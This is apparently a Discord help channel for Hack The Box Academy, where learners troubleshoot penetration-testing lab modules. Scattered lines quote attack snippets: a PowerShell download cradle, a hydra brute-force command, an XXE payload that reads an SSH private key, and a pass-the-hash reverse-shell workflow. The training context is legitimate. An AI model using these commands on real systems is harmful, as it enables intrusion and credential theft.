also you can specify ports with ssh which might fix your problem?

[worn anvil]

Linux Fundamentals very first optional question

*in Sys Info

[short horizon]

I feel like I'm having a stroke with trying to find the flag for nmap's service enumeration. I'm not seeing a certain flag. ||I have not tried a UDP scan yet, I'll be trying that now||

[raven cairn]

I'm not sure if this help but this is how I ssh'd in

[fathom pendant]

sometimes restarting the flag

works

restarting the target*

[rain oracle]

Hey people!

[fathom pendant]

or resetting your vpn connection

cause i've had it work in pwnbox and not my system

so dc/reconnect to vpn solved

[raven cairn]

Welcome to hackthebox. Have you read #rules ?

[fathom pendant]

hey Yaoi how's your journey m8?

[raven cairn]

It's going good. I've been really busy with school lately

~92% rn on CPTS

[worn anvil]

yeah its my 10th new target xc

[fathom pendant]

oof

[raven cairn]

hbu?

[worn anvil]

yeah im gonna try that ive had it on for a few hours now and my internet d/c earlier but I didnt reset the vpn

[short horizon]

I've also restarted the target a few times.

[fathom pendant]

but yeah in my experience the version scan should give you the thing or that may be one that you need to nc into if it's that part that i'm thinking of @short horizon

[short horizon]

I'm using the attackbox provided

Oooh, I thought it was strictly nmap

[worn anvil]

tyty but mine didnt give the option for fingerprint to appear

[fathom pendant]

if the module talked about using nc/netcat/ncat

then ncat can generally be used

[rain oracle]

Welcome! Yep all done, I am new here and I will try to provide as much help as possible!

[raven cairn]

Sweet! good luck on your hacking journey homie !

😎

[rain oracle]

💥💥💥

[short horizon]

Yep, that was it. I was starting to lose my mind thinking it was a service in the nmap scan xD

[worn anvil]

destination host unreachable xc

[raven cairn]

Are you using pwnbox or the vpn?

IT should be a relatively simple fix

I've ssh'd into things a million times

[worn anvil]

im using open vpn

[raven cairn]

always works

[worn anvil]

im sure its something small

im a noob afterall

[fathom pendant]

he meant are you using your own vm

or the htb provided :)

[worn anvil]

mine

its oracle

[fathom pendant]

virtualbox ye

?

[worn anvil]

yeah

[fathom pendant]

cause Oracle itself is a huge company that does many things

one of those happens to be a virtual machine hosting software

[raven cairn]

Java 💢

[worn anvil]

@fathom pendant

[fathom pendant]

anyway

back to the question at hand

you're connecting to the vpn yeah?

[raven cairn]

Can it connect to the internet?

[fathom pendant]

sudo openvpn /path/to/vpn.ovpn

[raven cairn]

Like can you visit websites and shit?

[fathom pendant]

that too

[worn anvil]

yeah it lets me surf

[fathom pendant]

openvpn is running on your host system; while I don't think that's generally going to be an issue

i've heard it causes issues if you're not running it directly in the vm

[raven cairn]

👆

[worn anvil]

ah maybe thats it, it must be something small im too sleep deprived to think about

[raven cairn]

Try that and see if it works

[worn anvil]

damn I dont have a vpn software downloaded on the vm

unless it comes with one

[raven cairn]

There is also support that can help if you still can't get it figured out

[fathom pendant]

openvpn

it's done through the command line zaza

[raven cairn]

@worn anvil Here is the command to do it. I think openvpn should be installed on parrot by default

[dim wolf]

Parrot OS comes with OpenVPN installed by default.

[fathom pendant]

also /path/to is a substitute

if you're running the command where you have the ovpn file; you don't need to specify the path

[sly tapir]

man, i just started this file transfers...the windows section is kind of overwhelming with long commands you have to run

[fathom pendant]

hint: you don't have to run them all

[raven cairn]

Definitely one of the easier modules in my opinion ngl

[fathom pendant]

lol

there's honestly not much that you HAVE to do in that module

most of it is just "hey practice using these types of commands and figure out which one works best for you"

[sly tapir]

ok...i saw IEX (New-Object Net.WebClient).DownloadString('https and was like wth

[dim wolf]

don't worry, the module breaks down the commands in depth so you know what the command does

[thorn urchin]

okay but tbf the IEX webclient one is a really good one to know though

[fathom pendant]

^

[raven cairn]

And the Invoke-webrequest one

[sly tapir]

yea im trying to get through it...i have read it like 4 times haha

[fathom pendant]

lol

yeah fair

[worn anvil]

its the lack of sleep my mind is on fire

[sly tapir]

its probably because going from Linux all the time, then going right into this...its like woah

[worn anvil]

also tyty to all of you

[fathom pendant]

tbf

a LOT of the linux commands CAN be used in Powershell

[raven cairn]

glad to help : D

[fathom pendant]

just because a shell is a shell is a shell

[dim wolf]

i'm running out of mutated passwords to check on Password Attacks - Password Mutations

[fathom pendant]

you used the provided list yeah?

and mutated that?

:)

[dim wolf]

i got the custom rule and the passwords.list

[fathom pendant]

ye

ok

good xD

[dim wolf]

ran it through hashcat and did a sort -u

[fathom pendant]

seen too many people get tripped up that

i don't think that was necessary unless you were told to do so

cause iirc most people cut the first 17k lines :)

and made the process 10x faster

[dim wolf]

yeah i tried that and it made me question my methods

you know what i'll try it one more time

cut 17k lines with sed -e '1,17000d' < mut_password.list > mut_password_cut.list

||hydra -l sam -P mut_password_cut.list -t 64 ftp://<ip>||

[dim cosmos]

In Module SQLMap, Section Attack Tuning, Question 2 (case #6), the hint suggests using a prefix, which is fine I can do that. Aside from reading the hint, is there any way I could have known to use that particular prefix?

[fathom pendant]

probably something about the question itself would have helped :p

but that's just a theory

[dim wolf]

i have to be making a mistake somewhere but where the hell is it!?

i'm waiting 15 minutes for hydra going at 2300 tries/min

[worn anvil]

lmao its still not working

[rustic sage]

anyone have an idea where i can use an ipmi hash?

@dim cosmos dm'd you i'll help with sql

[thorn urchin]

you crack the hash

password likely to be for a valid user elsewhere on the system.

might be able to interact with the ipmi service itself but idk too much about that

[rustic sage]

hey ya i couldn't find anything googling about how to use an ipmi hash. this documenting and reporting module sucks. theres like a 3 second delay even moving the mouse. idk y they don't make it fast its virtually impossible to use it. trie changing vpn's and all that

[thorn urchin]

the ipmi hash is covered in one of the way early modules

[fathom pendant]

footprinting

[dim wolf]

Footprintg

[thorn urchin]

yup

[rustic sage]

for sure i'll check it out thanks

[fathom pendant]

also the "hash" it gives you; don't use that unless you're assuming it's using default creds; use a wordlist in place of the ?1?1?1?1 talked about in that module

[dim wolf]

you will only need to crack using the wildcards it if it is an HP iLO IPMI hash

i cut the first 17000 lines and i'm not getting a hit

[rustic sage]

ok thanks guys

@dim wolf have you done documenting and reporting?

[dim wolf]

no.

[rustic sage]

kk

[dim cosmos]

just ask bro

[red obsidian]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[rotund swallow]

what does "Error! reCaptcha Validation failed" means when u try to register for the hackthebox acct for the 1st time

[fathom pendant]

it means there was a Captcha that you didn't do

easy as that

[rotund swallow]

really.. surviving the dark web torture session wasn't as ez as it seem

there was no pop up to see if I am human or bot

so I am unable to regsiter

[fathom pendant]

guess it's a skill issue man; maybe your adblocker is blocking it or something?

[rotund swallow]

lemme try this on tor

[fathom pendant]

lol unless htb is blocked by your isp/country no real need or reason to access it via tor

[rotund swallow]

Im a noob I am not afraid of 14th dark web torture abuse session

nvm

[tame tusk]

wait wth is this

[fathom pendant]

???

nothing bad is gonna happen by accessing htb

[rotund swallow]

I am trying to access the module nothing more

[fathom pendant]

lol

btw if you're trying to sign up for an academy thing you need to be signing up on https://academy.hackthebox.com/

not https://www.hackthebox.com :)

I suggest reading up on the #rules and #welcome as everything done in this server is all above board whitehat hacking

[rustic sage]

Im confused on why this doesn't work: I'm doing the WP Skills Assessment and I'm stuck at this question:
Identify the only non-admin WordPress user. (Format: <first-name> <last-name>)
I tried using:
curl GET http://blog.inlanefreight.local/?author=2
which gave me the name ||erika||
But that's it. I can't find a api to make a JSON call too. Im pretty sure this should work though.

[rustic sage]

Solved it

[worn anvil]

@fathom pendant @raven cairn I finally go it to connect

thanks again

[rotund swallow]

me too! I can finally find out how the dark web hacked my hardware

[raven cairn]

Sweeet. What was your issue?

[fathom pendant]

lol good luck with that

[raven cairn]

Ngl this makes no sense lol

[fathom pendant]

^

[raven cairn]

The Dark web 👻

So scary

[fathom pendant]

probably visited a malicious site without any protection

[rotund swallow]

yeah my fan makes loud noise

everyday

[fathom pendant]

bruh

[novel matrix]

Can we please keep this channel on topic

Otherwise I will hand out mutes

[raven cairn]

Damn. I want to join the mod team so I can be a powermod who bosses people around. No fun at all. Literally change the topic for 2 seconds and mods threaten to mute

[fathom pendant]

anyway shells and payloads is boring

[raven cairn]

what!?!

That was a good module

[fathom pendant]

inb4 i bang my head against the wall for 5 hours

[worn anvil]

even though the vpn was downloaded on the system it wasnt activatd, it had to be reupdated and connected to HTB in the vm also

[raven cairn]

Attacking common services is boring

[fathom pendant]

I just haven't gotten to anything i didn't know yet; also the module talks about importing an exploit... that is now in the exploitdb for msfconsole LMAO didn't even have to do that part

that's more what I mean by boring :) like it's definitely good info to have if you weren't already aware of these things it references

[worn anvil]

lmao nvm its not letting me type the pw now

[raven cairn]

You shouldn't see the password being typed

[raven cairn]

Does that help?

[worn anvil]

kinda I dont think its typing anything

when I hit enterthe connection closes

[raven cairn]

It shouldn't do that. Connecting to ssh is usually pretty simple so you might be overthinking something

You sure you aren't getting the connection closed because you are typing the password incorrectly maybe?

[worn anvil]

thats gotta be what it is

lmao ill try copypasting next time I got in I forgot it's still there even if its invisble

[raven cairn]

This is gonna be helpful for the future, but learning how to do some research will be very beneficial as you learn.

And also, not overthinking little things

GJ getting it figured out tho

[worn anvil]

yeah I watched some videos on it they just dont go over my specific problem and I feel like im wasting time when ive been on it all day, it wouldnt be so bad if I didnt work full time

[raven cairn]

Doing the modules and work is hard. A lot of time is sunk doing them

[worn anvil]

*I realize that doesnt mean I should only look at issues that can be walked through

[worn anvil]

good thing im insane lmao

[raven cairn]

Keep the discussion on topic about modules please

😠

[dim cosmos]

just did sqlmap --os-shell question, LOL what a command

[fathom pendant]

.-. i'm DUMBY i didn't realize that in burpsuite it was literally TELLING ME WHERE TO GO for this module

i...that's what I get for thinking it was just gonna be the same

[cinder mortar]

which vpn would have the least latency for me if im from SEA

eu or americas

[fathom pendant]

but idk where the Americas Servers are hosted

the latency is generally not going to be an issue tbh

unless you genuinely have terrible internet

[cinder mortar]

hmm ok thanks

[chilly forge]

Where can I ask a question about the Nmap IDS/IPS evasion module? Is that here? I'm terribly stuck on the medium module and don't know how to proceed

How do I find the version of services running or the version of the DNS server through nmap? I tried lots of different scans but nothing yields a result (or I did find it but didn't realize that that was the answer)

[fathom pendant]

You probably found it but didn't realize

[chilly forge]

Damn. What format is a DNS server version in?

Is it like the other 'flags'? HTB{Randommumbojumo}?

[plain coral]

You tried running a nmap scan using UDP?

[chilly forge]

I believe I only did TCP

Out of curiosity; why would I scan using UDP? Edit: I just read online DNS uses UDP (is this true?) so scanning UDP should be the way?

[plain coral]

Some services run on different protocols. Voice and video traffic, for UDP mainly. DNS runs on both TCP 53 which was used for zone transfers, and UDP used for queries lookups etc.

Moral of the story, enumeration is key.

@chilly forge Could also be the case that a sys admin or blue teamer has locked down DNS traffic on TCP port 53 on a firewall but has forgotten about UDP, as it’s normally allowed outbound to respond to DNS queries.

[chilly forge]

You're totally right! Thank you SO SO much. I've been stuck on this for days. Managed to get it now 😄

[dim wolf]

i let hydra run for 90 minutes and i still haven't brute forced sam's password

[plain coral]

@chilly forge Awesome dude, don’t overthink the next lab, just replicate what’s in the modules, and you’ll be alright.

[chilly forge]

Thanks for the advice! i'll keep that in mind

[dim wolf]

i'm fully lost on Password Attacks - Password Mutations, i've tried the 17k line cut, i've tried searching for only 11-character passwords, i've tried attacking FTP, i've tried sort -u and breaking the file into 10 different chunks. i must have done something wrong but i have no clue what it is or where i could have made the mistake

[dim cosmos]

sure the password isnt 10 characters?

[dim wolf]

i was searching for past suggestions and one of them was to only search for 11 character passwords

i'm guessing you're saying it's actually 10

[dim cosmos]

i didnt take note of the exact password but my memory triggers on 10 or 11 for some reason

i just DM'ed you 😉

[dim wolf]

oh, htanks for teling because discord is kinda poopy with dms

[silver zenith]

Time to fill up my lovely colored magic balls on a happy sunday

[tough wyvern]

someone can help me out with hacking passwords with hashcat dictionary attack section? Reply or DM me please

[odd gorge]

Looking for someone to save my sanity on Login Brute Forcing Skills Assessment Service Attacks.

For initial SSH brute force, created a list of usernames using username-anarchy, and a custom wordlist just using first name and last name but no joy.

[rustic sage]

🙏

[brisk geode]

can anyone suggest me from where i can learn the basics of imap commands?

[median fog]

Try the "Footprinting" module. That has a section on IMAP and POP3.

[feral stump]

This is a great source

https://www.atmail.com/blog/imap-commands/

[rain oracle]

Guys I need to say and admit that WHOEVER designed and wrote the MODULE ‘LEARNING PROCESS’ is an absolute GENIUS! If you guy didn’t take your time to go through that module I would certainly encourage you to do so!!

Worth every ‘cube’ (penny) 😉

[honest hazel]

what do you get with ifconfig

[shadow canopy]

is crackmapexec smb bruteforce slow and tries 1 credential at a time? or my program is broken
im doing password attacks network services
tried to increase threads but same result
same speed as msfconsole use auxiliary/scanner/smb/smb_login

[coarse oak]

~~I have asked about Attacking Common Applications - Attacking GitLab before too, specifically the user enumeration part. One of the hints were ||to try one of the unconventional wordlists in that directory||. I believe I have tried them all, and must be missing something.

Here is how I compiled a complete usernames list, that I have attempted:

REMOVED

I would greatly appreciate any further assistance, and this is literally the last flag I need to complete the path to do the CPTS exam.~~

Nevermind.... the FLAG submission is case sensitive...

[rustic sage]

is anyone on the working with web services module on the academy or can guide me on what i'm doing wrong, i'm working on starting the apache server however I continuously get the error 405, I've tried reinstalling and installing again and when I go to the local host it's the same thing.

Stuck on Password-Attacks PtH. I have used mimikatz to PtH. I can see DC01 and david.txt but i have tried everything to open the flag via cmd but i am unable to connect to \dc01\david. I tried net use. Nothing works. I can see the flag. But I'm unable to open the flag.

[rustic sage]

Nvm. For anything who's struggling with this: use type.

[vital adder]

which module and service are you on?

[rustic sage]

I'm currently on the working with web services module, right towards the beginning as it's explaining web services and installing apache2 with the apt install command, and i've uninstalled the packages and reinstalled and tried to start services but still comes up with the error code. I've done the systemctl to check services and continuously shows the apache2.service not started

[vital adder]

the Web Service & API Attacks module?

[rustic sage]

ahh, sorry it's under the linux fundamentals (relatively new)

[vital adder]

ohh that one also this could be long so shoot me a dm i'll help your troubleshoot

[rustic sage]

appreciate it brother will do

[vital adder]

which section are you on? also nope the pwnbox don't have the ens224 interface and the main interface for target is tun0

oh wait i think that section give you an attack box just rdp or ssh in and you should get something similar to the pwnbox but in the target network

i saw that i mean the section?

[thorn urchin]

the 172 net should be from the foothold

not the pwnbox

[vital adder]

oh yeah the foothold machine (not thm attack box) 🤣

nope the foothold machine is

[thorn urchin]

simulating being an external actor, you have to connect to a foothold machine and use that to access the internal network

some of the labs being the foothold is another attack box you log into, simulating assessments where the client puts you directly on the internal network, but you still gotta connect to it.

if thats the lab setup yeah

foothold is a generic term im using here

Exactly

its not gunna be there

its gunna be on the machine you have to connect to

which is the foothold

you and your browser -> pwnbox sitting on the vpn -> foothold box that may or may not also be an attack box -> internal AD network

read what I said again

Im not sure how to be more explicit

[peak hamlet]

@wheat ginkgo the box they provide (as an attack box) you either SSH or RDP into it, then you are in the internal AD network

[thorn urchin]

the pwnbox is NOT the foothold

[peak hamlet]

Exactly, the pwnbox is just your way into the attacker machine (linux or windows)

[thorn urchin]

yeah if you were connecting from the vpn instead, youd still have to connect to the foothold

[dim wolf]

connect to pwnbox/vpn -> connect to foothold machine -> get interface

[rustic sage]

Can you tell me the basic stuff of hacking

[peak hamlet]

Yes, google.com is the most basic

[rustic sage]

But how

I have no experience

[dim wolf]

if you head over to HTB Academy and sign up for an account you can start gaining experience by taking the course modules

[median fog]

There's a pinned post which might help:
#modules message

[haughty pond]

Hi guys, i'm stuck on Firewall and IDS/IPS Evasion - Medium Lab from "NETWORK ENUMERATION WITH NMAP" module

I tried a lot of ||different scan, source port modification, different Scan types|| but i keep having ||open/filtered, closed or filtered||. I also have 'too many fingerprint' error now. Any hint ? ^^

[peak hamlet]

This lab was kinda buggy for me when i did it, i tried every thing and it was not working from my VPN machine, decided to jump into the pwnbox and it worked immediately

[thorn urchin]

usually in the lab details where youre starting the target machine

itll say "RDP or ssh into blah with blah creds"

[rustic sage]

Can I use my ip address

Ipconfig

[haughty pond]

I am using the PwnBox 😭😭😭🤣

Oh cc RM !

[peak hamlet]

Remember that ||DNS uses two protocols||

[haughty pond]

Im using ||UDP Scan || but got no correct result

[river skiff]

Hello guys, I am doing Footprinting Lab - Hard. I've scanned the machine and have 5 ports open, the other 65530 are closed. Based on the description information I used previously gathered credentials from the Easy and the Medium lab and the provided resource text file to get any valid username or authentication, but with no luck. I appreciate any hints what to do ... 😌

[sly tapir]

read the top, "The third server is an MX and management server for the internal network." and think about stuff you learned throughout the module...hope that helps

[river skiff]

I've read that and tried all possible credentials against every service, still no luck.

[sly tapir]

did you scan that port?

[agile python]

How can I post an image here ?

[sly tapir]

verify yourself first #welcome

[dim wolf]

make sure you enumerate everything, leave no datagram unturned

[river skiff]

I believe so, I got ||22, 110, 143, 993 and 995||.

[agile python]

but I only have htb academy

[river skiff]

I will keep digging ...

[ocean cave]

Module name: WEB REQUEST

Section name: HTTP METHOD(GET)

problem: on starting intance (machine) search.php not getting shown in browser devtools/networks request/ when i try to search city on the given spawn machine http web page.

[median fog]

Have you done this?
https://support.discord.com/hc/en-us/articles/6181726888215-Verification-Required-FAQ

[agile python]

yup

I tried to run the exploit 50064 but appears this messege: “Exploit failed: NoMethodError undefined method `split’ for nil:NilClass”
I don’t know how to solve it

[dim wolf]

this is from the shells and payloads module?

[agile python]

yup

[dim wolf]

you will have to check your module options for the exploit you're trying to use

[agile python]

already did

[dim wolf]

check again and see if you're missing an option

note that some options, although optional, are necessary in some cases

[agile python]

i got in

[dim wolf]

glad to see that the first section of that module rubbed off on you

[agile python]

||the problem was with vhost option||

not goona lie but it took me about 2 hours to solve question 3 of host2.

do you know how to verify my account, so I can upload images in this channel, I only have an htb academy account.

[dim wolf]

#welcome message

you'll probably have to create an htb account

[agile python]

that right

thanks

[timber hatch]

server side attacks, ssi injection exploit example. Can somebody tell me in which directory the flag is? can't find it...

[fathom pendant]

Usually the module tells you where to look

[timber hatch]

true. found it

[pine drift]

Just starting out with fundamental lessons, is it kind of expected that you'll use a search engine to figure out some stuff? There's stuff that I'm able to figure out just through the help documents but every now and then I get one that I don't think I ever would've figured out and have to read up on what the command is doing.

[fathom pendant]

it'll be a mix; as some of the modules that are more advanced don't hold your hand

and you'll either be reading the man pages of a command

or googling your use case

[pine drift]

Cool, thanks for feedback. I felt bad for looking up some stuff but I legit was hardstuck.

[fathom pendant]

some of it also depends on your level of knowledge on things

but I would say taking notes doesn't hurt

even on fundamentals

[lament gull]

Does anyone have good pointers for Blind XSS?

[fathom pendant]

eventually you won't need to use the notes

BUT they are good to have

[pine drift]

Yeah I'm def taking notes, it's the starting out with linux stuff. I'm coming completely from a windows / Cisco IOS background.

[fathom pendant]

ah

yeah it's a rough transition from someone who's solely used windows to using linux

going from C:\Users\user to /home/user

but then you'll catch yourself trying to run linux commands in cmd

:^)

[lament gull]

So true and then there's commands in Windows that use /? instead of --help or -h

[fathom pendant]

prime example trying to do cp in windows; when it's copy

[lament gull]

That always gets me too XD

or tracert vs traceroute

[pine drift]

the amount of times I mix those up is criminal

[thorn urchin]

googling stuff and looking up documentation is a core feature of this industry

[pine drift]

Yeah I just felt bad doing it in academy, like at work no problem I'm googling that thing all f'n day if I need to lol

[magic cairn]

Hello guys, Can you help me on Attacking Common services hard lab? What can be done with this:

Line 1: Linked servers cannot be used under impersonation without a mapping for the impersonated login.

[rustic sage]

I'm cpts 100% w00t w00t

[acoustic owl]

When do you take the exam?

[rustic sage]

I’m gonna spend around 40-60 hours studying my notes and redoing labs and then take it. So probably 9-17 days from now. Spent over 200 hours on this course so might take a break for a day or two @acoustic owl

[acoustic owl]

Good luck for the exam

[rustic sage]

And as soonas I do that I’ll retake oscp which I expect I’ll be able to pass without more studying. A few ppl who hold both say if you can do cpts you’ll do oscp no prob

I’ve taken oscp exam twice and got about half way and what I’ve experienced in this course makes me feel more than prepared

[rustic sage]

Thanks 🙂

[sly tapir]

is it worth setting up a github to make it easier to download scripts, etc. for CPTS, or pentesting in general or is that not really needed...

[acoustic owl]

OSCP can contain BOF, CPTS has no BOF. But otherwise it is supposed to be similar. I myself have not done OSCP. So I can't make a comparison

[rustic sage]

True but htb does have binary exploitation which I will take before hand and I actually did decent with bo in oscp tho I’m now rusty haha

But def something to study for sure

[acoustic owl]

You can also save the cheatsheets on your PC. GitHub is not absolutely necessary.

[rustic sage]

I used cherry tree for all my notes is that what you mean. I also will have all exploits and hashes and everything used for labs on my device. My goal is to be able to through every lab blind tho I will look in my notes just not the solutions for the labs

Oh you mean cheat sheets of module ya that’s a good idea to save them all on host

[placid quest]

@rustic sage when did u start the path

[acoustic owl]

You can also write your own cheat sheets. It doesn't matter if you manage them in Cherry Tree or any other program. Use the one that is easiest for you.

[rustic sage]

About 2 to 2 1/2 months ago

[dim wolf]

WOW, what a great couple of sections for pass the hash and pass the ticket

[rustic sage]

@placid quest took me about 210 hours

[feral stump]

Good luck @rustic sage

[rustic sage]

Which is insane bc when I first started I was so lazy lol but just built up to 5-8 hours a day as I progressed and it became second nature

[rustic sage]

Thanks man 🙂

If anyone needs help hit me up I’ll be able to help you quickly

[placid quest]

@rustic sage That means u have done bug bounty path

[acoustic owl]

Be careful not to get requests like "Can you hack my ex-girlfriend's Instagram account?". 🤣

[rustic sage]

Lol I would just ignore those haha already have gotten two like that

[rustic sage]

I’m 70% done with bug bounty and will pursue that once I get my other veers

Certs*

Cbbh actually looks easy looking at remaining modules

[placid quest]

@rustic sage i am planning to do certs* if i complete the path

[acoustic owl]

Don't underestimate CBBH

[rustic sage]

Don’t say IF. Just make up your mind and do it. Try to do a little more than the day before in terms of time spent studying eventually it’ll become second nature and you’ll rly enjoy it

[rustic sage]

Oh for sure I’m just saying the modules remaining seem easy to the ones I’ve already done. It’s like attacking Wordpress and a few other easy seeming ones I think I’ve already done the hardest portion of cbbh but I could def be wrong!

[placid quest]

@acoustic owl Does that mean CBBH is hell

[rustic sage]

That depends on your skill level and stuff I think. Now the cbbh exam may be challenging as hell idk

[acoustic owl]

No, but 21y4d has come up with some nice things for this exam.

The exam is difficult, but solvable

[fathom pendant]

ok good to know i was on the right track with attacking this service lol I just had to clear my firefox cache; good thing I had burpsuite to sanity check me on the SSL cert

because HOLY was I gonna be banging my head on the wall trying to even find the exploit xD

[idle cliff]

I would appreciate a nudge if someone has the time on the sqlmap module concerning Case#3. I think I'm struggling with syntax

[zenith iris]

hi, OpenAI chat box is great for learning

[acoustic owl]

DM

[idle cliff]

Actually nevermind. After about 100 attempts I realized what I was doing

[idle cliff]

Thanks anyways, I appreciate it.

[fathom pendant]

it begins

[dim cosmos]

have fun with that marcie

hope you have time and patience 😉

[hardy hare]

@dim cosmos Thanks for the attempted help. I figured it out the next day, just needed to step away and come at it fresh.

[graceful rampart]

Best of luck

Try not to jump off a cliff

[patent obsidian]

hello help me with this

Thanks

[fathom pendant]

Gonna need more info than "help me with this"

[dim light]

Hey guys , is that exist a alternate way for increase "cube" without pay money?(like solve something and get reward or gift or like somethings)

[fathom pendant]

No

You get the ~40 for starting, you get some cubes refunded when you complete a module so there's that

[pine drift]

I think the level 0? ones are 10 cubes, but when you finish them, you get 10 back.

[grizzled cobalt]

Is there a way to tell ffuf to only show you results that have a status code of 200?

Or any arbitrary status code, for that matter.

[fathom pendant]

I know there's a blacklist filter ( -fc) but I don't remember the whitelist

[grizzled cobalt]

Thanks. Surely if there's a blacklist filter, then there must be a whitelist one. I'll see what I can find out about that.

[devout cliff]

its the matcher

so you want -mc

look in the man page

its there

[grizzled cobalt]

Excellent, tyvm

[devout cliff]

np

[analog tendon]

is anyone available to assit me on the IMAP/POP3 footprinting? i got in the IMAP server but im not seeing emails

[dim wolf]

it ends

[dim wolf]

enumerate

the IMAP server i mean.

[analog tendon]

ive done the enumeration

[dim wolf]

or POP3

[analog tendon]

on both

[dim wolf]

dig around

[analog tendon]

there are 0 emails for me to find. which im assuming the last question is wanting me to do

[dim wolf]

question is asking you to try to access the emails on the IMAP server

naturally, there should be emails on the server to access

[analog tendon]

yes. and it shows 0 emails

i cant select the dev.department.int which im assuming is just the above section. and the inbox shows 0 on both imap and pop3

[dim wolf]

there is an inbox containing some amount of emails

fiddle around with some of the IMAP commands you learned

[analog tendon]

yes ive been doing that. the one listed as INBOX is the only one i can select and it shows 0 exist

[shadow canopy]

I got stuck on this but then used gui to read emails

[rustic sage]

Why http://gitlab.inlanefreight.local sometimes connects and sometimes not? Anyone had the same issue?

[analog tendon]

you used gui? like you installed a mail client and signed in using the given creds?

[shadow canopy]

used evolution on parrot

[analog tendon]

let me try that route

[analog tendon]

you lifesaver you. that worked. but now im going to see if i can do this gui style too.

sorry in cli not gui

[dim wolf]

academy's giving me filtered ports so i can't do the exercise

[opal prairie]

hey guys

[dim light]

hey

[zenith iris]

o/

[kindred prism]

Looking for a little help. I have the user and the correct fail string and parameters for the Skill Assessment - Website in the Login Brute Forcing Module. I am not getting a hit with the usual password lists (rockyou-10.txt, rockyou (times out before completing). Any nudge in the right direction would be appreciated.

[swift rivet]

tamil

/love

[rain garnet]

Hi Htb dudes, I'm new here.
I have a question about the markup stage.
I have an issue in my burp suit every time I send a request for Daniel ssh key. I got 200 OK response
But the ssh key doesn't show in the response.
Please help me
Thanks in Advance. 🙏

[fathom pendant]

200 ok just means that it accepted the request; not that it's going to send something back. I'd suggest taking a look into http response codes. Also what's the module you're working on?

[rain garnet]

Hi Marcie lee, thank you for the response.
Im working on now with the markup module.
When I performed the xxe attacked
On Daniel ssh keys.
The response I got is 200 OK and the ssh keys don't show up. Which is what to expect when you send the xxe payload. Wonder why it doesn't show?

This the scripts im using <!DO TYPE foo [ <!ENTITY xxe SYSTEM 'C:/Users/Daniel/.ssh/id_rsa'> ] >
Is there anything I missed?

[acoustic owl]

Try it like this:
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM 'file:///C:/Users/Daniel/.ssh/id_rsa'> ]>
Markup is a box and not a module from the Academy. Your question is better off in channel #boxes

[fast dagger]

Hello guys I wonder how much cubes does it take to complete every course THX

[rustic sage]

Could use some, tried everything but can not get this to work: Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.

What i did:

• used PtH to RDP into Julio's account (MS01)
• opened cmd.exe and started the NC listener on 8001
• opened PS and applied Invoke-WMIexec, copy pastes the command with the revshell
• it says command executed on DC01
• i go back to cmd, the listener is still running but absolutely nothing is connected

I can not figure out what i am doing wrong. This is driving me crazy.

[turbid lily]

Always say which module. People remember questions by their modules D:

[rustic sage]

Module: Password-Attacks, Section: Pass the Hash (PtH).

[rain garnet]

Hi Htb dudes I have a question?
When I performed the xxe attacked
On Daniel ssh keys.
The response I got is 200 OK and the ssh keys don't show up. Which is what to expect when you send the xxe payload. Wonder why it doesn't show?
Thanks for the answer 🙏

[rustic sage]

Nvm, i got it to work. The example way of executing a rev shell does not work. I changed to port to 8888 instead of 8001. And I filled in the IP of the DC01 instead of stating DC01 as the target as the example says.

[acoustic owl]

#modules message

[rain garnet]

I already tried this the best as I can but the results of ssh key don't show up. The script is correct 💯. But I don't know where the issue lies.

[autumn pilot]

why don't just read the walkthrough of markup?

[pliant sage]

could anybody help me out w/ the lfi skill assessment?

[autumn mirage]

Hi all, would like to know any hints to complete 4 Questions in DNS module Footprinting

What is the FQDN of the host where the last octet ends with "x.x.x.203"?
I already tried:

1. Bruteforce subdomains of the 2nd and 3rd level
2. Use PTR records to all IPs in /16 net
3. Recursive investigate all AXFR records

In what way I need to dive deeper? One more thoughts that I need to find correct wordlists to brureforce, but this task will turn in some kind of guessing, so can you please help 🙂

[river skiff]

dm ?

[autumn mirage]

sure

[pliant sage]

anyone?

[rustic sage]

hey there guys! I want to become pentester. can someone give me any advices? I will be grateful

[rain garnet]

I did already follow everything walkthrough I find on the internet.
I just only need the ssh key so that I can get ssh connection to Daniel account. I couldn't also see any daniel ssh keys available online.
Could you please upload the file here if you have the key. Thank you so much in advanced.

It seems my burp suite is not working properly as it should be. It's just a trial edition.

[autumn pilot]

nope

community edition works just fine

[rain garnet]

Yeah on your end. But in my end it's not. Please help me

[storm jackal]

A good video to start with https://www.youtube.com/watch?v=4JZjj_H4ei4
Academy gives a lot of these foundational skills and some

[rustic sage]

thanks

[rain garnet]

I don't want to argue a lot because I'm stuck on this ssh keys issue for a week. Please help me

[storm jackal]

You're welcome. Go through the CPTS path and check out #cpts

[rustic sage]

ok will do it

[autumn pilot]

you have everything to help you solve the exercise

[rain garnet]

Htb vip machine seems to be causing a lot of issues. Before i also have had issues with foxy proxy that doesn't work. I assigned the IP address of the target machine so that it will filter out the traffic but it doesn't work. when i look up the burp suite the traffic route doesn't show anything no traffic flowing. Empty results. I hope thb will look into this issue.

[autumn pilot]

foxyproxy and burpsuite are client side applications

[rain garnet]

I am a VIP member. So to speak

It was a really bad experience I wasted a lot of time.

[autumn pilot]

you are responsible for setting up those applications

[rain garnet]

I know but Htb claiming all the tools is at my hand if your VIP member.

[autumn pilot]

the mentioned tools are set in pwnbox

and not your local vm

[rain garnet]

Yeah that is what I mean

I have pwnbox machine.

The vip machine

[autumn pilot]

The what?

[dim cosmos]

my god, just finished the command injection skills assessment, what a nightmare

[rain garnet]

Do you understand me.
It is just ssh key all I need. That's it
It is not a big deal.

[autumn pilot]

go get them

[dim cosmos]

absolutely brutal assessment

[pliant sage]

could still use some help with lfi skill assessment

[fathom pendant]

The one where you need to RDP into the other machine first yeah? Hint; first search using a different tool/resource. that one took me a sec of digging but you were told everything in the module

[pliant sage]

I don’t have to rdp into anything no

[fathom pendant]

What's the module then?

[pliant sage]

Local file inclusions

[fathom pendant]

Since your post got buried^

[pliant sage]

I tried fuzzing for hidden parameters and fuzzing with a buncha different lfi payloads to no avail

Website seems to be filtering anything that looks like path traversal even when urlencoded

Kind of stumped

[brave sinew]

